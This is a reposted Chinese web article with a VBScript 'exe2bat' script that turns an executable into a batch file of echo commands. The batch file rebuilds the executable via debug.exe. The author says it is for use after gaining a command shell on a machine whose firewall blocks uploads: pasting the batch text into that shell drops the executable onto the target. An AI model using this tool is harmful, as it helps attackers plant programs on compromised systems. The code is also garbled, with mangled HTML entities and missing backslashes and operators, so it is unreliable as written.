EXE2BAT(EXE转BAT)的vbs脚本
发布时间：2016-12-03 21:33:27 所属栏目：Asp教程 来源：站长网
导读：exe2bat的脚本 复制代码 代码如下: fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject(
|
exe2bat的脚本 复制代码 代码如下: fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if btlt;16 then .write "0" .write hex(bt) if i mod 128=0 then .write """_gt;gt;debug.vbs"+vbcrlf+"@echo +""" next .writeline """gt;gt;debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_ +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:nextgt;gt;debug.vbs" .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_ +"gt;gt;debug.vbscscript //nologo debug.vbs|debug.exegt;nulren debug.tmp """fn"""del debug.vbs" end with 说明文件: 在得到一个CMDSHELL而又因为防火墙等原因无法上传文件时,可以使用本脚本. 直接在本地将一个EXE文件转换为一个BAT文件然后用记事本打开BAT文件,然后复制全部-gt;CMDSHELL粘贴一下就可以在CMDSHELL下得到我们上传的EXE文件了. 脚本用法为:cscript cdown.vbs XXX.exe 在同目录下生成一个BAT文件.按上面的做法 （编辑：海南站长网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
